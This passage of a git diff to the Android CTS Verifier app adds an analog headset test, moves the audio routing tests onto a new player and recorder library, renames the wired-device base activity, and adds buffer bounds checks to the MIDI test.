+        registerReceiver(mHeadsetPlugReceiver, filter);
+
+        showKeyMessagesState();
+
+        setInfoResources(R.string.analog_headset_test, R.string.analog_headset_test_info, -1);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+    }
+
+    //
+    // Reporting
+    //
+    private boolean calculatePass() {
+        if (!mHasHeadsetPort) {
+            return true;
+        } else {
+            return mPlugIntentReceived &&
+                    mHeadsetDeviceInfo != null &&
+                    mPlaybackSuccess &&
+                    mHasHeadsetHook && mHasVolUp && mHasVolDown;
+        }
+    }
+
+    private void reportHeadsetPort(boolean has) {
+        mHasHeadsetPort = has;
+        getReportLog().addValue(
+                "User Reports Headset Port",
+                has ? 1 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        if (has) {
+            mHasAnalogPortNoBtn.setEnabled(false);
+        } else {
+            mHasAnalogPortYesBtn.setEnabled(false);
+        }
+        enablePlayerButtons(has && mHeadsetDeviceInfo != null);
+
+        if (!has) {
+            // no port, so can't test. Let them pass
+            getPassButton().setEnabled(true);
+        }
+    }
+
+    private void reportPlugIntent(Intent intent) {
+        // [C-1-4] MUST trigger ACTION_HEADSET_PLUG upon a plug insert,
+        // but only after all contacts on plug are touching their relevant segments on the jack.
+        mPlugIntentReceived = true;
+
+        // state - 0 for unplugged, 1 for plugged.
+        // name - Headset type, human readable string
+        // microphone - 1 if headset has a microphone, 0 otherwise
+
+        int state = intent.getIntExtra("state", -1);
+        if (state != -1) {
+
+            StringBuilder sb = new StringBuilder();
+            sb.append("ACTION_HEADSET_PLUG received - " + (state == 0 ? "Unplugged" : "Plugged"));
+
+            String name = intent.getStringExtra("name");
+            if (name != null) {
+                sb.append(" - " + name);
+            }
+
+            int hasMic = intent.getIntExtra("microphone", 0);
+            if (hasMic == 1) {
+                sb.append(" [mic]");
+            }
+
+            mHeadsetPlugMessage.setText(sb.toString());
+        }
+        getReportLog().addValue(
+                "ACTION_HEADSET_PLUG Intent Received. State: ",
+                state,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    private void reportPlaybackStatus(boolean success) {
+        // [C-1-1] MUST support audio playback to stereo headphones
+        // and stereo headsets with a microphone.
+        mPlaybackSuccess = success;
+        if (success) {
+            mPlaybackFailBtn.setEnabled(false);
+        } else {
+            mPlaybackSuccessBtn.setEnabled(false);
+        }
+        getPassButton().setEnabled(calculatePass());
+
+        getReportLog().addValue(
+                "User reported headset/headphones playback",
+                success ? 1 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    //
+    // UI
+    //
+    private void showConnectedDevice() {
+        if (mHeadsetDeviceInfo != null) {
+            mHeadsetNameText.setText(
+                    mHeadsetDeviceInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
+                    ? "Headset Connected"
+                    : "Headphones Connected");
+        } else {
+            mHeadsetNameText.setText("No Headset/Headphones Connected");
+        }
+    }
+
+    private void enablePlayerButtons(boolean enabled) {
+        mPlayButton.setEnabled(enabled);
+        mStopButton.setEnabled(enabled);
+    }
+
+    private void showKeyMessagesState() {
+        mHeadsetHookText.setTextColor(mHasHeadsetHook ? Color.WHITE : Color.GRAY);
+        mHeadsetVolUpText.setTextColor(mHasVolUp ? Color.WHITE : Color.GRAY);
+        mHeadsetVolDownText.setTextColor(mHasVolDown ? Color.WHITE : Color.GRAY);
+    }
+
+    //
+    // Player
+    //
+    protected void setupPlayer() {
+        //
+        // Allocate the source provider for the sort of signal we want to play
+        //
+        AudioSourceProvider sourceProvider = new SinAudioSourceProvider();
+        try {
+            PlayerBuilder builder = new PlayerBuilder();
+            mAudioPlayer = (JavaPlayer)builder
+                    // choose one or the other of these for a Java or an Oboe player
+                    .setPlayerType(PlayerBuilder.TYPE_JAVA)
+                    // .setPlayerType(PlayerBuilder.PLAYER_OBOE)
+                    .setSourceProvider(sourceProvider)
+                    .build();
+        } catch (PlayerBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaPlayer build.");
+        }
+    }
+
+    protected void startPlay() {
+        if (!mIsPlaying) {
+            //TODO - explain the choice of 96 here.
+            mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
+            mAudioPlayer.startStream();
+            mIsPlaying = true;
+        }
+    }
+
+    protected void stopPlay() {
+        if (mIsPlaying) {
+            mAudioPlayer.stopStream();
+            mAudioPlayer.teardownStream();
+            mIsPlaying = false;
+        }
+    }
+
+    //
+    // View.OnClickHandler
+    //
+    @Override
+    public void onClick(View view) {
+        switch (view.getId()) {
+            case R.id.headset_analog_port_yes:
+                reportHeadsetPort(true);
+                break;
+
+            case R.id.headset_analog_port_no:
+                reportHeadsetPort(false);
+                break;
+
+            case R.id.headset_analog_play:
+                startPlay();
+                break;
+
+            case R.id.headset_analog_stop:
+                stopPlay();
+                break;
+
+            case R.id.headset_analog_play_yes:
+                reportPlaybackStatus(true);
+                break;
+
+            case R.id.headset_analog_play_no:
+                reportPlaybackStatus(false);
+                break;
+        }
+    }
+
+    //
+    // Devices
+    //
+    private void scanPeripheralList(AudioDeviceInfo[] devices) {
+        mHeadsetDeviceInfo = null;
+        for(AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
+                    devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADPHONES) {
+                mHeadsetDeviceInfo = devInfo;
+
+                getReportLog().addValue(
+                        (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
+                                ? "Headset" : "Headphones") + " connected",
+                        0,
+                        ResultType.NEUTRAL,
+                        ResultUnit.NONE);
+                break;
+            }
+        }
+
+        showConnectedDevice();
+        enablePlayerButtons(mHeadsetDeviceInfo != null);
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            Log.i(TAG, "onAudioDevicesAdded() num:" + addedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            Log.i(TAG, "onAudioDevicesRemoved() num:" + removedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+    private class HeadsetPlugReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            reportPlugIntent(intent);
+        }
+    }
+
+    //
+    // Keycodes
+    //
+    @Override
+    public boolean onKeyDown(int keyCode, KeyEvent event) {
+        // Log.i(TAG, "onKeyDown(" + keyCode + ")");
+        switch (keyCode) {
+            case KeyEvent.KEYCODE_HEADSETHOOK:
+                mHasHeadsetHook = true;
+                showKeyMessagesState();
+                getPassButton().setEnabled(calculatePass());
+                break;
+
+            case KeyEvent.KEYCODE_VOLUME_UP:
+                mHasVolUp = true;
+                showKeyMessagesState();
+                getPassButton().setEnabled(calculatePass());
+                break;
+
+            case KeyEvent.KEYCODE_VOLUME_DOWN:
+                mHasVolDown = true;
+                showKeyMessagesState();
+                getPassButton().setEnabled(calculatePass());
+                break;
+        }
+        return super.onKeyDown(keyCode, event);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
index 1ee118d..5af519b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
@@ -51,8 +51,8 @@
 
     OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
-    Button mHeadsetPortYes;
-    Button mHeadsetPortNo;
+    Button mWiredPortYes;
+    Button mWiredPortNo;
 
     Button mLoopbackPlugReady;
     Button mTestButton;
@@ -106,19 +106,19 @@
                     Log.i(TAG, "audio loopback test");
                     startAudioTest();
                     break;
-                case R.id.audio_general_headset_yes:
-                    Log.i(TAG, "User confirms Headset Port existence");
+                case R.id.audio_wired_yes:
+                    Log.i(TAG, "User confirms wired Port existence");
                     mLoopbackPlugReady.setEnabled(true);
                     recordHeasetPortFound(true);
-                    mHeadsetPortYes.setEnabled(false);
-                    mHeadsetPortNo.setEnabled(false);
+                    mWiredPortYes.setEnabled(false);
+                    mWiredPortNo.setEnabled(false);
                     break;
-                case R.id.audio_general_headset_no:
-                    Log.i(TAG, "User denies Headset Port existence");
+                case R.id.audio_wired_no:
+                    Log.i(TAG, "User denies wired Port existence");
                     recordHeasetPortFound(false);
                     getPassButton().setEnabled(true);
-                    mHeadsetPortYes.setEnabled(false);
-                    mHeadsetPortNo.setEnabled(false);
+                    mWiredPortYes.setEnabled(false);
+                    mWiredPortNo.setEnabled(false);
                     break;
             }
         }
@@ -129,10 +129,10 @@
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_line_activity);
 
-        mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
-        mHeadsetPortYes.setOnClickListener(mBtnClickListener);
-        mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
-        mHeadsetPortNo.setOnClickListener(mBtnClickListener);
+        mWiredPortYes = (Button)findViewById(R.id.audio_wired_yes);
+        mWiredPortYes.setOnClickListener(mBtnClickListener);
+        mWiredPortNo = (Button)findViewById(R.id.audio_wired_no);
+        mWiredPortNo.setOnClickListener(mBtnClickListener);
 
         mLoopbackPlugReady = (Button)findViewById(R.id.audio_frequency_line_plug_ready_btn);
         mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
index e253635..64c2314 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
@@ -36,7 +36,7 @@
  * Tests Audio Device Connection events for output by prompting the user to insert/remove a
  * wired headset (or microphone) and noting the presence (or absence) of notifications.
  */
-public class AudioInputDeviceNotificationsActivity extends HeadsetHonorSystemActivity {
+public class AudioInputDeviceNotificationsActivity extends AudioWiredDeviceBaseActivity {
     Context mContext;
 
     TextView mConnectView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
index eefa9e4..4b2d213 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
@@ -22,6 +22,7 @@
 
 import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioRecord;
 
@@ -36,10 +37,15 @@
 import android.widget.Button;
 import android.widget.TextView;
 
-/**
+import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+import org.hyphonate.megaaudio.recorder.Recorder;
+import org.hyphonate.megaaudio.recorder.JavaRecorder;
+import org.hyphonate.megaaudio.recorder.sinks.NopAudioSinkProvider;
+
+/*
  * Tests AudioRecord (re)Routing messages.
  */
-public class AudioInputRoutingNotificationsActivity extends HeadsetHonorSystemActivity {
+public class AudioInputRoutingNotificationsActivity extends AudioWiredDeviceBaseActivity {
     private static final String TAG = "AudioInputRoutingNotificationsActivity";
 
     Button recordBtn;
@@ -51,18 +57,33 @@
 
     OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
-    TrivialRecorder mAudioRecorder = new TrivialRecorder();
+    static final int NUM_CHANNELS = 2;
+    static final int SAMPLE_RATE = 48000;
+    int mNumFrames;
+
+    JavaRecorder mAudioRecorder;
 
     private class OnBtnClickListener implements OnClickListener {
         @Override
         public void onClick(View v) {
+            if (mAudioRecorder == null) {
+                return; // failed to create the recorder
+            }
+
             switch (v.getId()) {
                 case R.id.audio_routingnotification_recordBtn:
-                    mAudioRecorder.start();
+                {
+                     mAudioRecorder.startStream();
+
+                    AudioRecord audioRecord = mAudioRecorder.getAudioRecord();
+                    audioRecord.addOnRoutingChangedListener(
+                            new AudioRecordRoutingChangeListener(), new Handler());
+
+                }
                     break;
 
                 case R.id.audio_routingnotification_recordStopBtn:
-                    mAudioRecorder.stop();
+                    mAudioRecorder.stopStream();
                     break;
             }
         }
@@ -102,9 +123,19 @@
 
         mContext = this;
 
-        AudioRecord audioRecord = mAudioRecorder.getAudioRecord();
-        audioRecord.addOnRoutingChangedListener(
-            new AudioRecordRoutingChangeListener(), new Handler());
+        // Setup Recorder
+        mNumFrames = Recorder.calcMinBufferFrames(NUM_CHANNELS, SAMPLE_RATE);
+
+        RecorderBuilder builder = new RecorderBuilder();
+        try {
+            mAudioRecorder = (JavaRecorder) builder
+                    .setRecorderType(RecorderBuilder.TYPE_JAVA)
+                    .setAudioSinkProvider(new NopAudioSinkProvider())
+                    .build();
+            mAudioRecorder.setupStream(NUM_CHANNELS, SAMPLE_RATE, mNumFrames);
+        } catch (RecorderBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaRecorder build.");
+        }
 
         // "Honor System" buttons
         super.setup();
@@ -114,7 +145,9 @@
 
     @Override
     public void onBackPressed () {
-        mAudioRecorder.shutDown();
+        if (mAudioRecorder != null) {
+            mAudioRecorder.stopStream();
+        }
         super.onBackPressed();
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
index 7f96464..b61ea25 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -321,7 +321,7 @@
         mLatencyMillis = 0.0;
         mConfidence = 0.0;
 
-        mNativeAnalyzerThread = new NativeAnalyzerThread();
+        mNativeAnalyzerThread = new NativeAnalyzerThread(this);
         if (mNativeAnalyzerThread != null) {
             mNativeAnalyzerThread.setMessageHandler(messageHandler);
             // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
index ad8ba68..0e4f6da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
@@ -36,7 +36,7 @@
  * Tests Audio Device Connection events for output devices by prompting the user to
  * insert/remove a wired headset and noting the presence (or absence) of notifications.
  */
-public class AudioOutputDeviceNotificationsActivity extends HeadsetHonorSystemActivity {
+public class AudioOutputDeviceNotificationsActivity extends AudioWiredDeviceBaseActivity {
     Context mContext;
 
     TextView mConnectView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
index a6d8846..62749c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
@@ -36,12 +36,21 @@
 import android.widget.Button;
 import android.widget.TextView;
 
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.JavaPlayer;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
+
 /**
  * Tests AudioTrack and AudioRecord (re)Routing messages.
  */
-public class AudioOutputRoutingNotificationsActivity extends HeadsetHonorSystemActivity {
+public class AudioOutputRoutingNotificationsActivity extends AudioWiredDeviceBaseActivity {
     private static final String TAG = "AudioOutputRoutingNotificationsActivity";
 
+    static final int NUM_CHANNELS = 2;
+    static final int SAMPLE_RATE = 48000;
+
     Context mContext;
 
     Button playBtn;
@@ -51,18 +60,27 @@
 
     int mNumTrackNotifications = 0;
 
-    TrivialPlayer mAudioPlayer = new TrivialPlayer();
+    // Mega Player
+    JavaPlayer mAudioPlayer;
 
     private class OnBtnClickListener implements OnClickListener {
         @Override
         public void onClick(View v) {
+            if (mAudioPlayer == null) {
+                return; // failed to create the player
+            }
             switch (v.getId()) {
                 case R.id.audio_routingnotification_playBtn:
-                    mAudioPlayer.start();
+                {
+                    mAudioPlayer.startStream();
+                    AudioTrack audioTrack = mAudioPlayer.getAudioTrack();
+                    audioTrack.addOnRoutingChangedListener(
+                            new AudioTrackRoutingChangeListener(), new Handler());
+                }
                     break;
 
                 case R.id.audio_routingnotification_playStopBtn:
-                    mAudioPlayer.stop();
+                    mAudioPlayer.stopStream();
                     break;
             }
         }
@@ -102,9 +120,24 @@
         stopBtn = (Button)findViewById(R.id.audio_routingnotification_playStopBtn);
         stopBtn.setOnClickListener(mBtnClickListener);
 
-        AudioTrack audioTrack = mAudioPlayer.getAudioTrack();
-        audioTrack.addOnRoutingChangedListener(
-            new AudioTrackRoutingChangeListener(), new Handler());
+        // Setup Player
+        //
+        // Allocate the source provider for the sort of signal we want to play
+        //
+        AudioSourceProvider sourceProvider = new SinAudioSourceProvider();
+        try {
+            PlayerBuilder builder = new PlayerBuilder();
+            mAudioPlayer = (JavaPlayer)builder
+                    // choose one or the other of these for a Java or an Oboe player
+                    .setPlayerType(PlayerBuilder.TYPE_JAVA)
+                    // .setPlayerType(PlayerBuilder.PLAYER_OBOE)
+                    .setSourceProvider(sourceProvider)
+                    .build();
+            //TODO - explain the choice of 96 here.
+            mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
+        } catch (PlayerBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaPlayer build.");
+        }
 
         // "Honor System" buttons
         super.setup();
@@ -114,7 +147,9 @@
 
     @Override
     public void onBackPressed () {
-        mAudioPlayer.shutDown();
+        if (mAudioPlayer != null) {
+            mAudioPlayer.stopStream();
+        }
         super.onBackPressed();
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java
new file mode 100644
index 0000000..2e308f2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import android.content.Context;
+
+import android.os.Bundle;
+import android.os.Handler;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import android.widget.Button;
+
+abstract class AudioWiredDeviceBaseActivity extends PassFailButtons.Activity {
+    private static final String TAG = AudioWiredDeviceBaseActivity.class.getSimpleName();
+
+    private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+    abstract protected void enableTestButtons(boolean enabled);
+
+    private void recordWiredPortFound(boolean found) {
+        getReportLog().addValue(
+                "User Reported Wired Port",
+                found ? 1.0 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    protected void setup() {
+        // The "Honor" system buttons
+        ((Button)findViewById(R.id.audio_wired_no)).setOnClickListener(mBtnClickListener);
+        ((Button)findViewById(R.id.audio_wired_yes)).setOnClickListener(mBtnClickListener);
+
+        enableTestButtons(false);
+    }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.audio_wired_no:
+                    Log.i(TAG, "User denies wired device existence");
+                    enableTestButtons(false);
+                    recordWiredPortFound(false);
+                    break;
+
+                case R.id.audio_wired_yes:
+                    Log.i(TAG, "User confirms wired device existence");
+                    enableTestButtons(true);
+                    recordWiredPortFound(true);
+                    break;
+            }
+        }
+    }
+
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HeadsetHonorSystemActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HeadsetHonorSystemActivity.java
deleted file mode 100644
index a82b994..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HeadsetHonorSystemActivity.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import android.content.Context;
-
-import android.os.Bundle;
-import android.os.Handler;
-
-import android.util.Log;
-
-import android.view.View;
-import android.view.View.OnClickListener;
-
-import android.widget.Button;
-//import android.widget.TextView;
-
-abstract class HeadsetHonorSystemActivity extends PassFailButtons.Activity {
-    private static final String TAG = "HeadsetHonorSystemActivity";
-
-    private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-
-    abstract protected void enableTestButtons(boolean enabled);
-
-    private void recordHeadsetPortFound(boolean found) {
-        getReportLog().addValue(
-                "User Reported Headset Port",
-                found ? 1.0 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-    }
-
-    protected void setup() {
-        // The "Honor" system buttons
-        ((Button)findViewById(R.id.audio_general_headset_no)).
-            setOnClickListener(mBtnClickListener);
-        ((Button)findViewById(R.id.audio_general_headset_yes)).
-            setOnClickListener(mBtnClickListener);
-
-        enableTestButtons(false);
-    }
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.audio_general_headset_no:
-                    Log.i(TAG, "User denies Headset Port existence");
-                    enableTestButtons(false);
-                    recordHeadsetPortFound(false);
-                    break;
-
-                case R.id.audio_general_headset_yes:
-                    Log.i(TAG, "User confirms Headset Port existence");
-                    enableTestButtons(true);
-                    recordHeadsetPortFound(true);
-                    break;
-            }
-        }
-    }
-
-}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiActivity.java
index 32cc805..e514cb7c8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiActivity.java
@@ -512,6 +512,20 @@
         return (byte)((cmd << 4) | (channel & 0x0F));
     }
 
+    //
+    // Logging Utility
+    //
+    static void logByteArray(String prefix, byte[] value, int offset, int count) {
+        StringBuilder builder = new StringBuilder(prefix);
+        for (int i = 0; i < count; i++) {
+            builder.append(String.format("0x%02X", value[offset + i]));
+            if (i != value.length - 1) {
+                builder.append(", ");
+            }
+        }
+        Log.d(TAG, builder.toString());
+    }
+
     /**
      * A class to control and represent the state of a given test.
      * It hold the data needed for IO, and the logic for sending, receiving and matching
@@ -537,8 +551,10 @@
         private TestMessage[] mTestMessages;
 
         // - The stream of message data to walk through when MIDI data is received.
+        private int mMIDIDataStreamSize;
         private byte[] mMIDIDataStream;
         private int mReceiveStreamPos;
+        private static final int MESSAGE_MAX_BYTES = 1024;
 
         public MidiTestModule(int deviceType) {
             mIODevice = new MidiIODevice(deviceType);
@@ -694,7 +710,8 @@
                 streamSize += mTestMessages[msgIndex].mMsgBytes.length;
             }
 
-            mMIDIDataStream = new byte[streamSize];
+            mMIDIDataStreamSize = streamSize;
+            mMIDIDataStream = new byte[mMIDIDataStreamSize];
 
             int offset = 0;
             for (int msgIndex = 0; msgIndex < mTestMessages.length; msgIndex++) {
@@ -714,9 +731,31 @@
             if (DEBUG) {
                 Log.i(TAG, "---- matchStream() offset:" + offset + " count:" + count);
             }
+            // a little bit of checking here...
+            if (count < 0) {
+                Log.e(TAG, "Negative Byte Count in MidiActivity::matchStream()");
+                return false;
+            }
+
+            if (count > MESSAGE_MAX_BYTES) {
+                Log.e(TAG, "Too Large Byte Count (" + count + ") in MidiActivity::matchStream()");
+                return false;
+            }
+
             boolean matches = true;
 
             for (int index = 0; index < count; index++) {
+                // Avoid a buffer overrun. Still don't understand why it happens
+                if (mReceiveStreamPos >= mMIDIDataStreamSize) {
+                    // report an error here
+                    Log.d(TAG, "matchStream buffer overrun @" + index +
+                            " of " + mMIDIDataStreamSize);
+                    // Dump the bufer here
+                    logByteArray("Expected: ", mMIDIDataStream, 0, mMIDIDataStreamSize);
+                    matches = false;
+                    break;  // bail
+                }
+
                 if (bytes[offset + index] != mMIDIDataStream[mReceiveStreamPos]) {
                     matches = false;
                     if (DEBUG) {
@@ -730,6 +769,11 @@
             if (DEBUG) {
                 Log.i(TAG, "  returns:" + matches);
             }
+
+            if (!matches) {
+                logByteArray("Received: ", bytes, offset, count);
+            }
+
             return matches;
         }
 
@@ -780,6 +824,9 @@
 
             @Override
             public void onSend(byte[] msg, int offset, int count, long timestamp) throws IOException {
+                if (DEBUG) {
+                    Log.d(TAG, "---- onSend() offset:" + offset + " count:" + count);
+                }
                 if (!matchStream(msg, offset, count)) {
                     mTestMismatched = true;
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
index 2f74074..12fc9b2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
@@ -17,6 +17,8 @@
 
 package com.android.cts.verifier.audio;
 
+import android.content.Context;
+
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
@@ -26,12 +28,18 @@
 import android.util.Log;
 
 import android.os.Handler;
-import  android.os.Message;
+import android.os.Message;
+
+import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
 
 /**
  * A thread that runs a native audio loopback analyzer.
  */
 public class NativeAnalyzerThread {
+    private static final String TAG = "NativeAnalyzerThread";
+
+    private Context mContext;
+
     private final int mSecondsToRun = 5;
     private Handler mMessageHandler;
     private Thread mThread;
@@ -48,6 +56,10 @@
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE = 895;
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS = 896;
 
+    public NativeAnalyzerThread(Context context) {
+        mContext = context;
+    }
+
     public void setInputPreset(int inputPreset) {
         mInputPreset = inputPreset;
     }
@@ -58,6 +70,7 @@
             System.loadLibrary("audioloopback_jni");
         } catch (UnsatisfiedLinkError e) {
             log("Error loading loopback JNI library");
+            log("e: " + e);
             e.printStackTrace();
         }
 
@@ -76,6 +89,7 @@
     private native int analyze(long audio_context);
     private native double getLatencyMillis(long audio_context);
     private native double getConfidence(long audio_context);
+
     private native int getSampleRate(long audio_context);
 
     public double getLatencyMillis() {
@@ -146,11 +160,7 @@
                     sendMessage(NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR);
                     break;
                 } else if (isRecordingComplete(audioContext)) {
-                    result = stopAudio(audioContext);
-                    if (result < 0) {
-                        sendMessage(NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR);
-                        break;
-                    }
+                    stopAudio(audioContext);
 
                     // Analyze the recording and measure latency.
                     mThread.setPriority(Thread.MAX_PRIORITY);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index c1714cc..b95e9e3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -19,6 +19,8 @@
 import android.app.AlertDialog;
 import android.content.DialogInterface;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
+
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 
@@ -62,6 +64,8 @@
 
     Button mRoundTripTestButton;
 
+    TextView mTestStatusLbl;
+
     // Borrowed from PassFailButtons.java
     private static final int INFO_DIALOG_ID = 1337;
